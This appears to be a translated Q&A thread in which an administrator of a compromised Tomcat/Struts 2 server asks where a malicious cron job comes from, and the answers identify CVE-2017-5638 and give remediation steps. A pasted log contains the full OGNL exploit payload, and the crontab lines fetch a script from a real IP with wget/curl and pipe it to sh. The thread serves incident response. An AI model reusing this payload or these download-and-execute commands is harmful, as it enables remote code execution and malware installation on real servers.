在 Apache tomcat 服务器上运行项目战时,我发现该服务器已被入侵。
在对未知进行战争时,cron
情况就是这样
[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
下载的文件中logo.jpg
有一个正在下载恶意软件的 shell 脚本。
我在下面这个网站上发现了类似的问题
https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/
和
https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux
我无法在整个代码中找到这个 cron 调度程序的来源。
我想知道是否有人遇到过这个问题?我应该如何在代码中找到调度程序的起源。
笔记:
我正在从事 JAVA(Struts 2)+jsp+javascript+jquery 网络项目。
每次我使用项目的 war 文件启动 tomcat 时,这个调度程序都会运行,但我在代码中找不到任何调度程序。
我在我的日志文件
[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult
答案1
在 OP 添加日志之后,很明显,问题出在 Struts 2 的远程代码执行漏洞中(CVE-2017-5638)。
一些附加链接:
解决方案是将您的 Struts 升级到版本 2.3.32 或 2.5.10.1。
答案2
我以前担任系统管理员时也遇到过类似的问题。我认为您必须分清是您的 tomcat 服务器还是您的 Java 应用程序。
当您启动没有“受感染的 Java 应用程序”的 tomcat 时,cron 是否会启用?(我的意思是从 Tomcat 中删除你的应用程序并启动它)如果是这样,那么您的问题就更大了,您需要验证启动脚本和部署在 tomcat 服务器中的每个应用程序。
否则,我们确信您的应用程序存在问题。
如果是这种情况,请转到:
$CATALINA_BASE/webapps/your_app
验证您的应用程序的完整性,是否存在您无法识别的附加文件?
现在转到 tomcat 安装的 webapps 目录:
$CATALINA_BASE/webapps/
在该目录中执行:
grep -R '91.230.47.40' *
找到可能导致感染的文件/代码行,它可能是您的应用程序的文件或新文件。
您的代码在 CSV 系统中吗?
从你的 CSV repo 在受感染的服务器之外构建 war 文件并执行以下操作:
md5sum your_app.war
从 tomcat 服务器中删除您的应用程序并重新部署,验证您是否通过 md5 上传了正确的 war,然后检查 crontab 是否被调用。
如果您对这些步骤提供反馈,我将很乐意提供帮助。
答案3
我们只需要在服务器上抵御这种攻击,它不断重新启动并覆盖我们 tomcat 用户的 crontab,如上所述。IP 地址相同。在整个 webapps 目录中查找 IP 地址没有发现罪魁祸首。
在我们的案例中,我们没有使用 struts,但我们在 webapps 中安装了“host-manager”和“manager”应用,并且启用了 JMX/打开了端口。重新启动后,似乎解决了这些问题,所以我的直觉是漏洞可能就出在其中一个上。具体来说,7.0.73 中修复了一个 JMX 漏洞,这可能是我们的罪魁祸首(https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73)。
我们现在采取的另一项预防措施是将 wget 和 chmod 的访问权限限制为仅限 root(只需在这些二进制文件上执行 chmod 770)。